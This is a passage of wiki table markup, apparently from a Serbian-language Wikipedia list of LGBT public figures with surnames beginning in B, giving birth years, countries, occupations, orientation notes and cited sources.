[[Sjedinjene Američke Države|SAD]] | Spisateljica tekstova za pesme. | |<ref>Price, Deb. The Bellingham Herald, July 4, 1998: Two women's love made 'America' Beautiful.</ref> |- | [[Baton Bob]] | ? | [[Sjedinjene Američke Države|SAD]] | Umetnik | |<ref>Farmer, Jim. ([[2006-04-28]]). ''[http://www.southernvoice.com/2006/4-28/arts/feature/baton.cfm 'Shake' it: Beloved street performer Baton Bob to join cast of outdoor Shakespeare event]''. [[Southern Voice]]. Retrieved on [[2007-06-04]].</ref> |- | [[Bryan Batt]] | 1963 | [[Sjedinjene Američke Države|SAD]] | Glumac | |<ref>"[http://www.playbill.com/news/article/95469.html The Leading Men: Going to Batt]", ''[[Playbill]]'', Wayman Wong. October 3, 2005.</ref> |- | [[Terry Baum]] | 1946 | [[Sjedinjene Američke Države|SAD]] | Političar. | |<ref>Goodwyn, Albert (June 22, 2006), [http://www.sfbaytimes.com/index.php?sec=article&article_id=5327 Terry Baum Gets Personal and Political], ''San Francisco Bay Times''. Retrieved November 10, 2006.</ref> |- | [[Robert Bauman]] | 1937 | [[Sjedinjene Američke Države|SAD]] | Političar | |<ref>[http://www.doaskdotell.com/books/bbauman.htm DOASKDOTELL BOOK REVIEW of Robert Bauman’s The Gentleman from Maryland] {{Webarchive|url=https://web.archive.org/web/20090108173008/http://www.doaskdotell.com/books/bbauman.htm |date=2009-01-08 }}. Retrieved July 04, 2007.</ref> |- | [[Bruce Bawer]] | 1956 | [[Sjedinjene Američke Države|SAD]] | Pisac | | <ref>[http://www.sfbaytimes.com/index.php?sec=article&article_id=5327 A Place at the Table: The Gay Individual in American Society - a book review], ''Reason''. Retrieved May 13, 2007.</ref> |- | [[Jaime Bayly]] | 1965 | [[Peru]] | Pisac | [[Biseksualnost|Bi]] |<ref>GLAAD.org, (January 21, 2007), [http://www.glaad.org/publications/resource_doc_detail.php?id=3957 18th ANNUAL GLAAD MEDIA AWARDS SPECIAL HONOREES] {{Webarchive|url=https://web.archive.org/web/20120205104039/http://www.glaad.org/publications/resource_doc_detail.php?id=3957 |date=2012-02-05 }}. Retrieved January 24, 2007.</ref> |- | [[Gary Beach]] | 1947 | [[Sjedinjene Američke Države|SAD]] | Glumac | |<ref>Henderson, Kathy, [http://www.broadway.com/gen/Buzz_Story.aspx?ci=503508 Interview with Gary Beach], Broadway.com. Retrieved November 10, 2006.</ref> |- | [[Rikki Beadle-Blair]] | 1962 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac i pisac | |<ref>Cooper, Charlotte, (June 6, 2005), [http://www.rainbownetwork.com/Culture/detail.asp?iData=23542&iChannel=15&nChannel=Culture Rikki Beadle-Blair], ''The Guardian''. Retrieved February 6, 2007.</ref> |- | [[Simon Russell Beale]] | 1961 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac | | <ref name="The Pink List 2005">Rainbownetwork.com, (June 29, 2005), [http://www.rainbownetwork.com/Features/detail.asp?iData=23702&iCat=32&iChannel=25&nChannel=Features#top The Pink List 2005]. Retrieved June 25, 2007.</ref> |- | [[Billy Bean]] | 1964 | [[Sjedinjene Američke Države|SAD]] | Igrač bejzbola | |<ref>[http://billybean.com/bio.asp Official website biography] {{Webarchive|url=https://web.archive.org/web/20111227234445/http://www.billybean.com/bio.asp |date=2011-12-27 }}. Retrieved November 10, 2006.</ref> |- | [[Amanda Bearse]] | 1958 | [[Sjedinjene Američke Države|SAD]] | Glumica i rediteljka. | |<ref>McLellan, Diana (2000). The Girls: Sappho Goes to Hollywood. St. Martin's Press, 380. {{ISBN|0-312-28320-2}}.</ref> |- | [[Cecil Beaton]] | 1904-1980 | [[Ujedinjeno Kraljevstvo|UK]] | Fotograf i dizajner | |<ref>Hugo Vickers: Cecil Beaton, 1985, {{ISBN|1-55611-021-9}}</ref> |- | [[Bianca Beauchamp]] | 1977 | [[Kanada]] | Model | [[Biseksualnost|Bi]] |<ref>Beauchamp, Bianca (March 9, 1999), [http://www.latexlair.com/diary/entry_march0999.html EXPERIENCES WITH OTHER WOMEN] {{Webarchive|url=https://web.archive.org/web/20071008235841/http://www.latexlair.com/diary/entry_march0999.html |date=2007-10-08 }}, Latexlair.com. Retrieved November 17, 2006.</ref> |- | [[William Lygon, 7th Earl Beauchamp]] | 1872-1938 | [[Ujedinjeno Kraljevstvo|UK]] | Političar | [[Biseksualnost|Bi]] |<ref>A. L. Rowse, ''Homosexuals in History'' (1977), pp. 222-223 {{ISBN|0880290110}}</ref> |- | [[Edward Douglas-Scott-Montagu, 3rd Baron Montagu of Beaulieu]] | 1926 | [[Ujedinjeno Kraljevstvo|UK]] | Političar, osnivač [[National Motor Museum]]-a | [[Biseksualnost|Bi]] |<ref>[http://www.thisislondon.co.uk/news/article-23404322-details/Lord+Montagu+on+the+court+case+which+ended+the+legal+persecution+of+homosexuals/article.do] {{Webarchive|url=https://web.archive.org/web/20080618220119/http://www.thisislondon.co.uk/news/article-23404322-details/Lord+Montagu+on+the+court+case+which+ended+the+legal+persecution+of+homosexuals/article.do |date=2008-06-18 }} "Lord Montagu on the court case which ended the legal persecution of homosexuals," ''thisislondon.co'', ''The Evening Standard'') (July 14, 2007). Retrieved on August 2, 2007</ref> |- | [[Binkie Beaumont]] | 1908-1973 | [[Ujedinjeno Kraljevstvo|UK]] | Pozorišni menadžer i producent | |<ref>Davis, Jill and William Green. ''Gay theatre''. in Banham, Martin. ed. ''The Cambridge Guide to Theatre.'' Cambridge: Cambridge University Press, 1995. p. 414.</ref> |- | [[Simone de Beauvoir]] | 1908-1986 | [[Francuska]] | Spisateljica i filozofkinja | [[Biseksualnost|Bi]] |<ref>Menand, Louis, [https://archive.today/20120910073207/www.newyorker.com/critics/content/articles/050926crbo_books STAND BY YOUR MAN: The strange liaison of Sartre and Beauvoir.], Newyorker.com. Retrieved November 10, 2006.</ref> |- | [[Alison Bechdel]] | 1960 | [[Sjedinjene Američke Države|SAD]] | Strip majstorka | |<ref>Robbins, Trina, [http://www.tcj.com/237/i_bechdel.html Watch Out for Alison Bechdel (She has the Secret to Superhuman Strength)] {{Webarchive|url=https://web.archive.org/web/20090123234531/http://www.tcj.com/237/i_bechdel.html |date=2009-01-23 }}, The Comics Journal. Retrieved November 10, 2006.</ref> |- | [[Volker Beck]] | 1960 | [[Njemačka|Nemačka]] | Političar. | |<ref>[http://www.volkerbeck.de/cms/index.php?option=com_content&task=view&id=348&Itemid=105 Official site biography] {{Webarchive|url=https://web.archive.org/web/20070921020105/http://www.volkerbeck.de/cms/index.php?option=com_content&task=view&id=348&Itemid=105 |date=2007-09-21 }}. Retrieved November 10, 2006.</ref> |- | [[Albrecht Becker]] | 1906-2002 | [[Njemačka|Nemačka]] | Fotograf. | |<ref>Perkins, Ken (July 6, 2001), [http://www.sodomylaws.org/world/germany/genews007.htm Documentary Unveils Nazi Brutalization of Gays] {{Webarchive|url=https://web.archive.org/web/20070926232808/http://www.sodomylaws.org/world/germany/genews007.htm |date=2007-09-26 }}, '' Fort Worth Star-Telegram''. Retrieved November 23, 2006.</ref> |- | [[Sybille Bedford]] | 1911-2006 | [[Ujedinjeno Kraljevstvo|UK]] | Spisateljica | [[Biseksualnost|Bi]] |<ref>Barrow, Andrew (23 May, 2004), [https://web.archive.org/web/20060512131335/http://enjoyment.independent.co.uk/books/features/article61466.ece Sybille Bedford: Secret history], ''The Independent''. Retrieved November 17, 2006.</ref> |- | [[Lucius Beebe]] | 1902-1966 | [[Sjedinjene Američke Države|SAD]] | Fotograf i istoričar. | |<ref name="Reevy, Tony 2005">Reevy, Tony, and Dan Cupper. "Mixed Legacy." Railroad History 193 (Fall-Winter 2005), 28-39.</ref> |- | [[Eve Beglarian]] | 1958 | [[Sjedinjene Američke Države|SAD]] | Kompozitorka | | |- | [[Brendan Behan]] | 1923-1964 | [[Irska]] | Pisac. | |<ref>Behan, Brendan (1985). Confessions of an Irish Rebel. Arena Books. {{ISBN|0-09-936500-6}}.</ref> |- | [[Aphra Behn]] | 1640-1689 | [[Ujedinjeno Kraljevstvo|UK]] | Pisac. | [[Biseksualnost|Bi]] |<ref>[http://www.glbtq.com/literature/behn_a.html Aphra Behn on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20140308205948/http://www.glbtq.com/literature/behn_a.html |date=2014-03-08 }}. Retrieved November 12, 2006.</ref> |- | [[Frieda Belinfante]] | 1904-1995 | [[Nizozemska|Holandija]] | Dirigentkinja | |<ref>[https://web.archive.org/web/20031218040902/http://www.xs4all.nl/~kmlink/06films/02frieda/contentfrieda.htm Synopsis of autobiographical ''But I was a Girl'']. Retrieved November 17, 2006.</ref> |- | [[Andy Bell (pevač)|Andy Bell]] | 1964 | [[Ujedinjeno Kraljevstvo|UK]] | Pevač | |<ref>Vineyard, Jennifer, [http://www.mtv.com/thinkmtv/sexual_health/andy_bell_hiv_052305/ Erasure's Andy Bell: Living with HIV] {{Webarchive|url=https://web.archive.org/web/20081203084317/http://www.mtv.com/thinkmtv/sexual_health/andy_bell_hiv_052305/ |date=2008-12-03 }}, MTV.com. Retrieved November 12, 2006.</ref> |- | [[Linda Bellos]] | 1950 | [[Ujedinjeno Kraljevstvo|UK]] | Aktivistkinja i lokalna političarka | |<ref>Anthony, Andrew (February 15 2006), [http://www.guardian.co.uk/g2/story/0,,1709863,00.html 'Yes, we were bloody angry'], ''The Guardian''. Retrieved November 12, 2006.</ref> |- |[[Kate Raphael Bender]] | ? | [[Sjedinjene Američke Države|SAD]] | Mirovna aktivistkinja | |<ref>[http://www.ektaonline.org/~quitpale/kate/pressjan19-2005.html "San Francisco Activist Kate Raphael Bender Returns After Five Weeks in Israeli Detention"]{{Dead link|date=August 2021 |bot=InternetArchiveBot |fix-attempted=yes }}, ''QUIT''. Retrieved June 29, 2007.</ref> |- | [[Bruce Benderson]] | 1946 | [[Sjedinjene Američke Države|SAD]] | Pisac | |<ref>[http://www.3ammagazine.com/litarchives/2005/sep/gay_writing.shtml Benderson on gay literature]</ref> |- | [[Fernando Bengoechea]] | 1965-2004 | [[Brazil]] | Fotograf | |<ref>[http://gayinfo.tripod.com/A-Z-B.html List of Gays] Retrieved March 3, 2007.</ref> |- | [[Alan Bennett]] | 1934 | [[Ujedinjeno Kraljevstvo|UK]] | Pisac i glumac | | <ref name="Gay Power: The pink list"/> |- | [[Trevor Bentham]] | 1943 | [[Ujedinjeno Kraljevstvo|UK]] | Scenarista | | <ref>Hubbard, Michael, [http://www.musicomh.com/comment/straight-face.htm Review of Nigel hawtorn's autobiography] {{Webarchive|url=https://web.archive.org/web/20061211122234/http://www.musicomh.com/comment/straight-face.htm |date=2006-12-11 }}, Musicomh.com. Retieved June 29, 2007.</ref> |- | [[Helmut Berger]] | 1944 | [[Austrija]] | Glumac | [[Biseksualnost|Bi]] |<ref>Berger, Helmut, ''Ich: Die Autobiographie'', Ullstein (1998), {{ISBN|3550069693}}.</ref> |- | [[Humphry Berkeley]] | 1926-1994 | [[Ujedinjeno Kraljevstvo|UK]] | Političar | |<ref>Bedell, Geraldine ([[2007-06-24]]). [http://observer.guardian.co.uk/review/story/0,,2109769,00.html Coming out of the dark ages]. ''[[The Observer]]''. Retrieved on [[2007-06-25]].</ref> |- | [[Nate Berkus]] | 1971 | [[Sjedinjene Američke Države|SAD]] | Dizajner enterijera. | | <ref name="out">Oxfield, Jesse, Idov, Michael (March 4, 2007), [http://nymag.com/daily/intel/2007/04/out_ranks_the_top_50_gays_ande.html ‘Out’ Ranks the Top 50 Gays; Anderson Is No. 2] {{Webarchive|url=https://web.archive.org/web/20070606235032/http://nymag.com/daily/intel/2007/04/out_ranks_the_top_50_gays_ande.html |date=2007-06-06 }}, New York Magqazine. Retrieved June 28, 2007.</ref> |- |[[Greg Berlanti]] |1972 |[[Sjedinjene Američke Države|SAD]] |Scenarista i producent | |<ref>{{cite web |title= Interview with Greg Berlanti |author= Dennis Ayers |url= http://www.afterelton.com/people/2007/3/berlanti.html |date= 1. 3. 2007. |publisher= [[AfterElton.com]] |accessdate= 23. 3. 2010. |archiveurl= https://web.archive.org/web/20070802023019/http://www.afterelton.com/people/2007/3/berlanti.html |archivedate= 2007-08-02 |deadurl= no }}</ref> |- | [[Rodney Berman]] | 1969 | [[Ujedinjeno Kraljevstvo|UK]] | Političar | |<ref>Nifield, Philip (August 14, 2006), [http://icwales.icnetwork.co.uk/southwalesecho/news/tm_objectid=17559719&method=full&siteid=50082&headline=partnership-ceremony-for-berman-and-partner-name_page.html Partnership ceremony for Berman and partner], ''South Wales Echo''. Retrieved February 6, 2007.</ref> |- | [[Leonard Bernstein]] | 1918-1990 | [[Sjedinjene Američke Države|SAD]] | Dirigent i kompozitor | [[Biseksualnost|Bi]] |<ref>{{Cite web |url=http://www.fyne.co.uk/index.php?item=215 |title=Archive copy |access-date=2007-08-17 |archive-date=2008-10-19 |archive-url=https://web.archive.org/web/20081019161442/http://www.fyne.co.uk/index.php?item=215 |url-status=dead }}</ref> |- | [[Al Berto]] | 1948-1997 | [[Portugal]] | Umetnik | | <ref>Aldrich R. & Wotherspoon G., Who's Who in Contemporary Gay and Lesbian History, Routledge, London, 2001</ref> |- | [[Betty Berzon]] | 1928-2006 | [[Sjedinjene Američke Države|SAD]] | Spisateljica i psihoterapeutkinja | | <ref>Risling, Greg (2006). [https://web.archive.org/web/20080622115246/http://www.sfgate.com/cgi-bin/article.cgi?f=%2Fn%2Fa%2F2006%2F01%2F24%2Fstate%2Fn142957S71.DTL&feed=rss.news Gay activist-author Betty Berzon dies at age 78] in [[San Francisco Chronicle]]. Retrievd July 04, 2007.</ref> |- | [[Sarah Bettens]] | 1972 | [[Belgija]] | Pevačica | |<ref>Swartz, Shauna (November 9, 2005). [http://www.afterellen.com/Music/2005/11/sarahbettens.html Interview with Sarah Bettens] on AfterEllen.com. Retrieved June 30, 2007.</ref> |- | [[Clive Betts]] | 1950 | [[Ujedinjeno Kraljevstvo|UK]] | Političar | |<ref>Denholm, Andrew, (July 18, 2003), [http://thescotsman.scotsman.com/index.cfm?id=778722003 MP suspended over visa fraud], ''The Scotsman''. Retrieved February 6, 2007.</ref> |- | [[Ole von Beust]] | April 13, 1955 | [[Njemačka|Nemačka]] | Političar | | <ref>http://gayinfo.tripod.com/A-Z-B2.html Alphabet of gay, lesbian and bisexual people. Accessed on May 23, 2007.</ref> |- | [[Georgina Beyer]] | 1957 | [[Novi Zeland]] | Političarka | Trans |<ref name="georginabeyer">"[http://www.georginabeyer.com/ Georgina Beyer] {{Webarchive|url=https://web.archive.org/web/20070929002526/http://www.georginabeyer.com/ |date=2007-09-29 }}". Retrieved [[2007]]-[[March 31|03-31]].</ref> |- | [[Thom Bierdz]] | 1962 | [[Sjedinjene Američke Države|SAD]] | Glumac u ''[[The Young and the Restless]]'' | |<ref name=chicagosuntimes>Davenport, Misha (September 22, 2006), [http://www.findarticles.com/p/articles/mi_qn4155/is_20060922/ai_n16750818 Bierdz's world spins from order to chaos and back] {{Webarchive|url=https://web.archive.org/web/20071115053627/http://findarticles.com/p/articles/mi_qn4155/is_20060922/ai_n16750818 |date=2007-11-15 }}, [[Chicago Sun-Times]]. Retrieved March 22, 2007.</ref> |- | [[Christopher Biggins]] | 1948 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac | |<ref>Biggins, Christopher ([[2005-12-11]]). MY PAP PICS CHRISTOPHER BIGGINS: I had 650 pairs of ridiculous. ''[[Sunday Mirror]]''. Retrieved on [[2007-07-23]].</ref> |- | [[Mark Bingham]] | 1970-2001 | [[Sjedinjene Američke Države|SAD]] | Biznismen | |<ref>Wilcox, Barbara (2006). [http://www.advocate.com/exclusive_detail_ektid36375.asp A Mark Bingham history tour]. ''[[The Advocate]]''. Retrieved July 04, 2007.</ref> |- | [[Elizabeth Birch]] | 1956 | [[Sjedinjene Američke Države|SAD]] | LGBT aktivistkinja i advokatkinja. | |<ref>[http://www.cwu.edu/~diversity/birch.html Biography at Central Washington University] {{Webarchive|url=https://web.archive.org/web/20120205021157/http://www.cwu.edu/~diversity/birch.html |date=2012-02-05 }}. Retrieved November 13, 2006.</ref> |- | [[Jón Þór Birgisson]] | 1975 | [[Island]] | Muzičar. | |<ref>[http://www.sigur-ros.co.uk/band/faq.php#14 Official band FAQ]. Retrieved November 13, 2006.</ref> |- | [[Elizabeth Bishop]] | 1911-1979 | [[Sjedinjene Američke Države|SAD]] | Spisateljica i pesnikinja | | <ref>Fountain, Gary, Brazeau, Peter, ''Remembering Elizabeth Bishop: An Oral Biography'', University of Massachusetts Press (December 1994), {{ISBN|0870239368}}.</ref> |- | [[Heather Bishop]] | | [[Kanada]] | Pevačica. | | <ref>[http://www.heatherbishop.com/default.aspx?tabID=59 Biography on official site] {{Webarchive|url=https://web.archive.org/web/20071114123925/http://www.heatherbishop.com/default.aspx?tabID=59 |date=2007-11-14 }}. Retrieved July 03, 2007.</ref> |- | [[Michael Bishop (businessman)|Michael Bishop]] | 1942 | [[Ujedinjeno Kraljevstvo|UK]] | Businessman | | <ref name="Gay Power: The pink list"/> |- | [[Björk]] | 1965 | [[Island]] | Muzičarka. | [[Biseksualnost|Bi]] |<ref>BiCommunity News (August 2004), [http://www.bicommunitynews.co.uk/69/bimedia69.html Summer BiMedia] {{Webarchive|url=https://web.archive.org/web/20100422211707/http://www.bicommunitynews.co.uk/69/bimedia69.html |date=2010-04-22 }}. Retrieved November 13, 2006.</ref> |- | [[Marie-Claire Blais]] | 1939 | [[Kanada]] | Spisateljica i dramturginja | |<ref>[http://www.glbtq.com/literature/blais_mc.html Marie-Claire Blais on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20071114135306/http://www.glbtq.com/literature/blais_mc.html |date=2007-11-14 }}. Retrieved November 13, 2006.</ref> |- | [[Doug Blasdell]] | 1963-2007 | [[Sjedinjene Američke Države|SAD]] | Lični trener i zabavljač | |<ref>[https://web.archive.org/web/20061030130528/http://www.afterelton.com/people/2006/7/blasdell.html], AfterElton.com. Retrieved July 10, 2006.</ref> |- | [[Ross Bleckner]] | 1949 | [[Sjedinjene Američke Države|SAD]] | Umetnik | |<ref>[http://www.glbtq.com/arts/bleckner_r.html Ross Bleckner on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20071114135248/http://www.glbtq.com/arts/bleckner_r.html |date=2007-11-14 }}. Retrieved November 13, 2006.</ref> |- | [[Sebastian Bleisch]] | 1957 | [[Njemačka|Nemačka]] | Pisac i porno reditelj | |<ref>{{Cite web |title=The Sebastian Bleisch site |url=http://bleisch.person.dk/index.htm |access-date=2007-08-17 |archivedate=2007-11-11 |archiveurl=https://web.archive.org/web/20071111125252/http://bleisch.person.dk/index.htm |deadurl=yes }}</ref> |- | [[Marc Blitzstein]] | 1905-1964 | [[Sjedinjene Američke Države|SAD]] | Kompozitor | |<ref>Tyrkus, Michael J. (1996). Gay & Lesbian Biography. Arena Books, 74-77. {{ISBN|1-55862-237-3}}.</ref> |- | [[Allan Bloom]] | 1930-1992 | [[Sjedinjene Američke Države|SAD]] | Filozof | |<ref>Patner, Andrew (April 16, 2000), [http://www.findarticles.com/p/articles/mi_qn4155/is_20000416/ai_n13857904 Allan Bloom, warts and all] {{Webarchive|url=https://web.archive.org/web/20071013093347/http://findarticles.com/p/articles/mi_qn4155/is_20000416/ai_n13857904 |date=2007-10-13 }}, ''Chicago Sun-Times''. Retrieved November 17, 2006.</ref> |- | [[Lionel Blue]] | 1930 | [[Ujedinjeno Kraljevstvo|UK]] | Rabin, prvi javno gej rabin u UK | |<ref>Blue, Lionel, ''Hitchhiking to Heaven – Autobiography'' (Hodder & Stoughton General, 2004).</ref> |- | [[Anthony Blunt]] | 1907-1983 | [[Ujedinjeno Kraljevstvo|UK]] | Špijun i istoričar umetnosti | |<ref>Carter, Miranda (2001). Anthony Blunt: His Lives. Picador. {{ISBN|0-312-42146-X}}.</ref> |- | [[Konrad Boehmer]] | 1941 | [[Nizozemska|Holandija]] | Kompozitor | |<ref name="BrettWood">[http://www.rem.ufpr.br/REMv7/Brett_Wood/Brett_and_Wood.html Lesbian and Gay Music] {{Webarchive|url=https://web.archive.org/web/20070927122439/http://www.rem.ufpr.br/REMv7/Brett_Wood/Brett_and_Wood.html |date=2007-09-27 }} by Philip Brett and Elizabeth Wood.</ref> |- | [[Dirk Bogarde]] | 1921-1999 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac | |<ref>[http://www.glbtq.com/arts/bogarde_d.html Dirk Bogarde on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20071107184209/http://www.glbtq.com/arts/bogarde_d.html |date=2007-11-07 }}. Retrieved November 13, 2006.</ref> |- | [[André Boisclair]] | 1966 | [[Kanada]] | Političar | |<ref>Macpherson, Don (October 1, 2005), [http://www.canada.com/montreal/montrealgazette/news/editorial/story.html?id=1b5bd325-f6a5-4526-b478-ac0225665dcd It's OK that he's gay] {{Webarchive|url=https://web.archive.org/web/20071114174113/http://www.canada.com/montreal/montrealgazette/news/editorial/story.html?id=1b5bd325-f6a5-4526-b478-ac0225665dcd |date=2007-11-14 }}, ''Montreal Gazette''. Retrieved November 13, 2006.</ref> |- | [[Nicholas Boles]] | 1965 | [[Ujedinjeno Kraljevstvo|UK]] | Političar | |<ref>Woolf, Marie, (February 5, 2006), [http://news.independent.co.uk/uk/politics/article343288.ece Cameron's gAy list] {{Webarchive|url=https://web.archive.org/web/20071022213215/http://news.independent.co.uk/uk/politics/article343288.ece |date=2007-10-22 }}, ''The Independent''. Retrieved February 6, 2007.</ref> |- | [[Klaus Bondam]] | 1963 | [[Danska]] | Glumac i političar. | |<ref>''Copenhagen Post'' (September 15, 2006), [http://www.cphpost.dk/get/92037.html INTERVIEW - Klaus Bondam] {{Webarchive|url=https://web.archive.org/web/20070927182426/http://www.cphpost.dk/get/92037.html |date=2007-09-27 }}. Retrieved November 20, 2006.</ref> |- | [[William Bonin]] | 1947-1996 | [[Sjedinjene Američke Države|SAD]] | Serijski ubica | |<ref>[http://www.crimelibrary.com/serial7/bonin/ William Bonin at the Crime Library] {{Webarchive|url=https://web.archive.org/web/20080511234006/http://www.crimelibrary.com/serial7/bonin/ |date=2008-05-11 }}. Retrieved November 13, 2006.</ref> |- | [[Gillian Bonner]] | 1966 | [[Sjedinjene Američke Države|SAD]] | Model. | [[Biseksualnost|Bi]] |<ref>[http://www.clublez.com/movies/lesbian_celebrities/b/bonner_gillian/index.html Profile at Clublez.com] {{Webarchive|url=https://web.archive.org/web/20070819180603/http://www.clublez.com/movies/lesbian_celebrities/b/bonner_gillian/index.html |date=2007-08-19 }}. Retrieved November 17, 2006.</ref> |- | [[Chastity Bono]] | 1969 | [[Sjedinjene Američke Države|SAD]] | LGBT aktivistkinja, ćerka [[Cher]]. | |<ref>Chastity Bono (with Billie Fitzpatrick), ''Family Outing'' (1998) {{ISBN|0-316-10233-4}}</ref> |- | [[David Boothroyd]] | 1972 | [[Ujedinjeno Kraljevstvo|UK]] | Političar | | <ref>Shoffman, Marc (May 5, 2006), [http://www.pinknews.co.uk/news/articles/2005-1387.html Local elections good for gay Labour]. Retrieved June 25, 2007.</ref> |- | [[Lizzie Borden (rediteljka)|Lizzie Borden]] | 1958 | [[Sjedinjene Američke Države|SAD]] | Rediteljka | [[Biseksualnost|Bi]] |<ref>[http://www.glbtq.com/arts/borden_l.html Lizzie Borden on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20071014181315/http://www.glbtq.com/arts/borden_l.html |date=2007-10-14 }}. Retrieved November 13, 2006.</ref> |- | [[Trevor Boris]] | ? | [[Kanada]] | Komičar. | |<ref>{{cite news | title = Trevor Boris – Looking at the lighter side of marriage | work = ToBe Magazine | date = 01. 03. 2005. | url = http://www.tobe.ca/tobe/content.jsp?sid=1430&ctid=1000000&cnid=1000462 | accessdate = 12. 11. 2006. | archive-date = 2018-12-15 | archive-url = https://web.archive.org/web/20181215222846/http://www.tobe.ca/tobe/content.jsp?sid=1430&ctid=1000000&cnid=1000462 | url-status = dead }}</ref> |- | [[David Borrow]] | 1962 | [[Ujedinjeno Kraljevstvo|UK]] | Političar | |<ref>Shoffman, Mark, (May 8, 2006), [http://www.pinknews.co.uk/news/politics/2005-1402.html Lancashire politician becomes first MP to have gay marriage] {{Webarchive|url=https://web.archive.org/web/20070930030419/http://www.pinknews.co.uk/news/politics/2005-1402.html |date=2007-09-30 }}, Pinknews.co.uk. Retrieved February 6, 2007.</ref> |- | [[Francisco Bosch]] | 1982 | [[Španija]] | Glumac i igrač | |<ref>Smith, Rupert, [http://www.franciscobosch.com/GaytimesInterview.html Spanish Steps] {{Webarchive|url=https://web.archive.org/web/20071114070948/http://www.franciscobosch.com/GaytimesInterview.html |date=2007-11-14 }}, ''Gay Times''. Retrieved November 13, 2006.</ref> |- | [[John Boswell]] | 1947-1994 | [[Sjedinjene Američke Države|SAD]] | Istoričar | | <ref>Boswell, John (1989, 1982). "Revolutions, Universals, and Sexual Categories", Hidden from History: Reclaiming the Gay & Lesbian Past, Chauncey et al, eds. New York: Meridian, New American Library, Penguin Books. {{ISBN|0-452-01067-5}}.</ref> |- | [[Roddy Bottum]] | 1963 | [[Sjedinjene Američke Države|SAD]] | Muzičar ([[Faith No More]] i [[Imperial Teen]]) | | <ref>[http://findarticles.com/p/articles/mi_m1589/is_1999_Feb_16/ai_53877989 Roddy Bottum article - ''The Advocate''] [[16 February]] [[1999]]</ref> |- | [[Nina Bouraoui]] | 1967 | [[Francuska]] | Spisateljica | | <ref>[http://www.la-reference.info/30-oct2005.htm#goaco Le prix Renaudot à Nina Bouraoui] {{Webarchive|url=https://web.archive.org/web/20071009030113/http://www.la-reference.info/30-oct2005.htm#goaco |date=2007-10-09 }} (French). la référence (2005 October 30). Retrieved on 2007 July 2.</ref> |- | [[Matthew Bourne]] | 1960 | [[Ujedinjeno Kraljevstvo|UK]] | Koreograf | |<ref>[http://www.glbtq.com/arts/bourne_m.html Matthew Bourne on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20071112114920/http://www.glbtq.com/arts/bourne_m.html |date=2007-11-12 }}. Retrieved November 13, 2006.</ref> |- | [[Leigh Bowery]] | 1961-1994 | [[Australija]] | Umetnica | |<ref>Leigh Bowery: The Life and Times of an Icon by Sue Tilley. Published by Hodder & Stoughton, London, 1999. {{ISBN|0-340-69311-8}}.</ref> |- | [[Angela Bowie]] | 1950 | [[Sjedinjene Američke Države|SAD]] | Model. | [[Biseksualnost|Bi]] | <ref name=bowies>[http://www.bettyjack.com/angie/lecture.html Angie Bowie - Lecture on Bisexuality] {{Webarchive|url=https://web.archive.org/web/20071020094717/http://www.bettyjack.com/angie/lecture.html |date=2007-10-20 }}, (June 12, 1997) Bettyjack.com. Retrieved November 17, 2006.</ref> |- | [[Jane Bowles]] | 1917-1973 | [[Sjedinjene Američke Države|SAD]] | Spisateljica | [[Biseksualnost|Bi]] |<ref>Dillon, Millicent (1998). A Little Original Sin: The Life and Work of Jane Bowles. University of California Press, 46-47, 126-127, 327, 352. {{ISBN|0-520-21193-6}}.Dillon, Millicent (1998).</ref> |- | [[Paul Bowles]] | 1910-1999 | [[Sjedinjene Američke Države|SAD]] | Kompozitor i pisac | [[Biseksualnost|Bi]] |<ref>McAlister, Elizabeth A (2000). ''Rara''. University of California Press, 107. {{ISBN|0-520-22823-5}}.</ref> |- | [[Karin Boye]] | 1900-1941 | [[Švedska]] | Spisateljica | |<ref>Hammarström, Camilla. 2001. ''Karin Boye''. Stockholm, Sweden. Bokförlaget Natur och Kultur. {{ISBN|91-27-08935-5}}.</ref> |- | [[Keith Boykin]] | 1965 | [[Sjedinjene Američke Države|SAD]] | Spisateljica i nekadašnja politička savetnica | | <ref>[http://www.keithboykin.com/bio/ Official site biography]. Retrieved June 29, 2007.</ref> |- | [[Edwin Emmanuel Bradford]] | 1860-1944 | [[Ujedinjeno Kraljevstvo|UK]] | [[Uranijski pesnik]] | |<ref>[http://www.glbtq.com/literature/uranian_poets,2.html Uranian Poets on Glbtq.com] {{Webarchive|url=https://web.archive.org/web/20071114135345/http://www.glbtq.com/literature/uranian_poets%2C2.html |date=2007-11-14 }}. Retrieved November 13, 2006.</ref> |- | [[Ben Bradshaw]] | 1960 | [[Ujedinjeno Kraljevstvo|UK]] | Političar. | |<ref>BBC (March 8, 2006), [http://news.bbc.co.uk/1/hi/uk_politics/4786378.stm Minister announces gay 'wedding']. Retrieved November 13, 2006.</ref> |- | [[Christopher Bram]] | 1952 | [[Sjedinjene Američke Države|SAD]] | Pisac | |<ref>Boys Like Us:Gay Writers Tell Their Coming Out Stories, Patrick Merla(ed.) Avon Books. 1996</ref> |- | [[Wilfrid Brambell]] | 1912-1985 | [[Ujedinjeno Kraljevstvo|UK]] | Glumac | |<ref>Brambell, (Henry) Wilfrid (1912-1985)’', David Parkinson, Oxford Dictionary of National Biography, Oxford University Press, 2004</ref> |- | [[Adolf Brand]] | 1874-1945 | [[Njemačka|Nemačka]] | Pisac i LGBT aktivista | [[Biseksualnost|Bi]] | <ref>James D. Steakley. ''The Early Homosexual Emancipation Movement in Germany''. (1975) {{ISBN|0405073666}}</ref> |- | [[Dionne Brand]] | 1953 | [[Kanada]] | Spisateljica | |<ref>[http://www.nwpassages.com/bios/brand.asp Author Profile on Northwest Passages.com] {{Webarchive|url=https://web.archive.org/web/20120204101403/http://www.nwpassages.com/bios/brand.asp |date=2012-02-04 }}. Retrieved November 13, 2006.</ref> |- | [[Marlon Brando]] | 1924-2004 | [[Sjedinjene Američke Države|SAD]] | Glumac | [[Biseksualnost|Bi]] |<ref>Carey, Gary (1985). Marlon Brando: The Only Contender. St. Martin's Press. {{ISBN|0-312-51543-X}}.</ref> |- | [[Johnny Brandon]] | 1925 | [[Ujedinjeno Kraljevstvo|UK]] | Pevač | |<ref>Easterling, Mike (July 6, 2006), 